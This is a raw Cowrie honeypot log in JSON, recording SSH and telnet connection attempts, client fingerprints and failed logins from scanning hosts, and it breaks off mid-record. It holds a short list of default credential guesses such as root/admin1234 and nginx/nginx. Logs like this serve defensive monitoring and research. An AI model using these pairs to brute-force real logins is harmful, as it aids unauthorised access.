{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:40.331140Z","src_ip":"192.109.200.78","session":"2957a0ca6663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:40.416739Z","src_ip":"192.109.200.78","session":"2957a0ca6663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:40.668983Z","src_ip":"192.109.200.78","session":"2957a0ca6663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:41.753922Z","src_ip":"192.109.200.78","session":"2957a0ca6663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":59156,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ac1ea1385a","protocol":"telnet","message":"New connection: 34.125.158.14:59156 (159.203.135.109:23) [session: d5ac1ea1385a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:42.214118Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":59528,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5cbc1493a3f","protocol":"telnet","message":"New connection: 34.125.158.14:59528 (159.203.135.109:23) [session: b5cbc1493a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:42.390530Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e47fde382e","protocol":"ssh","message":"New connection: 192.109.200.78:39970 (10.17.0.5:22) [session: e2e47fde382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:44.256680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:44.261606Z","src_ip":"192.109.200.78","session":"e2e47fde382e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:44.368999Z","src_ip":"192.109.200.78","session":"e2e47fde382e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:44.802353Z","src_ip":"192.109.200.78","session":"e2e47fde382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:46.195868Z","src_ip":"192.109.200.78","session":"e2e47fde382e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":33870,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b9a6abe51f","protocol":"telnet","message":"New connection: 34.125.158.14:33870 (159.203.135.109:23) [session: 44b9a6abe51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:46.380006Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":34980,"dst_ip":"159.203.135.109","dst_port":23,"session":"855c7458ab15","protocol":"telnet","message":"New connection: 34.125.158.14:34980 (159.203.135.109:23) [session: 855c7458ab15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:48.253686Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57934,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b3e26b723e5","protocol":"ssh","message":"New connection: 192.109.200.78:57934 (10.17.0.5:22) [session: 9b3e26b723e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:48.675937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:48.680732Z","src_ip":"192.109.200.78","session":"9b3e26b723e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:48.764911Z","src_ip":"192.109.200.78","session":"9b3e26b723e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:49.021187Z","src_ip":"192.109.200.78","session":"9b3e26b723e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:50.106310Z","src_ip":"192.109.200.78","session":"9b3e26b723e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a051e243293","protocol":"telnet","message":"New connection: 34.125.158.14:36712 (159.203.135.109:23) [session: 5a051e243293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:51.270965Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":37500,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d26a767c246","protocol":"telnet","message":"New connection: 34.125.158.14:37500 (159.203.135.109:23) [session: 4d26a767c246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:52.355349Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57958,"dst_ip":"10.17.0.5","dst_port":22,"session":"de29fe33cdc8","protocol":"ssh","message":"New connection: 192.109.200.78:57958 (10.17.0.5:22) [session: de29fe33cdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:52.834184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:52.843395Z","src_ip":"192.109.200.78","session":"de29fe33cdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:52.918495Z","src_ip":"192.109.200.78","session":"de29fe33cdc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:53.239882Z","src_ip":"192.109.200.78","session":"de29fe33cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:54.611279Z","src_ip":"192.109.200.78","session":"de29fe33cdc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":42268,"dst_ip":"159.203.135.109","dst_port":23,"session":"819520781ff1","protocol":"telnet","message":"New connection: 157.250.199.120:42268 (159.203.135.109:23) [session: 819520781ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:55.027925Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d3ab16b232","protocol":"telnet","message":"New connection: 157.250.199.120:42284 (159.203.135.109:23) [session: 58d3ab16b232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:56.212897Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":42292,"dst_ip":"159.203.135.109","dst_port":23,"session":"767316f8c7c3","protocol":"telnet","message":"New connection: 157.250.199.120:42292 (159.203.135.109:23) [session: 767316f8c7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.010949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57976,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3fd40b0422","protocol":"ssh","message":"New connection: 192.109.200.78:57976 (10.17.0.5:22) [session: 8f3fd40b0422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.054957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.060376Z","src_ip":"192.109.200.78","session":"8f3fd40b0422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.142317Z","src_ip":"192.109.200.78","session":"8f3fd40b0422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.518585Z","src_ip":"192.109.200.78","session":"8f3fd40b0422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.65.166.151","src_port":48247,"dst_ip":"10.17.0.5","dst_port":23,"session":"0564da9b411b","protocol":"telnet","message":"New connection: 115.65.166.151:48247 (10.17.0.5:23) [session: 0564da9b411b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:57.743971Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.203.48","src_port":45262,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f5359cd29dc","protocol":"telnet","message":"New connection: 185.216.203.48:45262 (159.203.135.109:23) [session: 4f5359cd29dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:58.766436Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:58.896728Z","src_ip":"192.109.200.78","session":"8f3fd40b0422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.124.226","src_port":57246,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfdedf248589","protocol":"telnet","message":"New connection: 198.50.124.226:57246 (159.203.135.109:23) [session: cfdedf248589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:23:59.068302Z"}
{"eventid":"cowrie.session.closed","duration":30.983381748199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:01.019111Z","src_ip":"198.50.124.226","session":"07dc088712eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b823a59d6237","protocol":"ssh","message":"New connection: 192.109.200.78:50250 (10.17.0.5:22) [session: b823a59d6237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:01.266928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:01.275602Z","src_ip":"192.109.200.78","session":"b823a59d6237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:01.357915Z","src_ip":"192.109.200.78","session":"b823a59d6237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:01.609371Z","src_ip":"192.109.200.78","session":"b823a59d6237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":52852,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc04f7322e2","protocol":"telnet","message":"New connection: 137.184.59.230:52852 (159.203.135.109:23) [session: 0fc04f7322e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:02.075203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":43324,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c353b9fc929","protocol":"telnet","message":"New connection: 34.125.158.14:43324 (159.203.135.109:23) [session: 2c353b9fc929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:02.223146Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:02.694385Z","src_ip":"192.109.200.78","session":"b823a59d6237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":39186,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51b79f5a471","protocol":"telnet","message":"New connection: 157.250.199.120:39186 (159.203.135.109:23) [session: a51b79f5a471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:03.228581Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"17d2b5ea01ae","protocol":"telnet","message":"New connection: 34.125.158.14:45588 (159.203.135.109:23) [session: 17d2b5ea01ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.337587Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f05aa1e973","protocol":"telnet","message":"New connection: 34.125.158.14:45772 (159.203.135.109:23) [session: b8f05aa1e973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.409787Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50264,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee1c222f56c","protocol":"ssh","message":"New connection: 192.109.200.78:50264 (10.17.0.5:22) [session: 1ee1c222f56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.446089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.512423Z","src_ip":"192.109.200.78","session":"1ee1c222f56c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-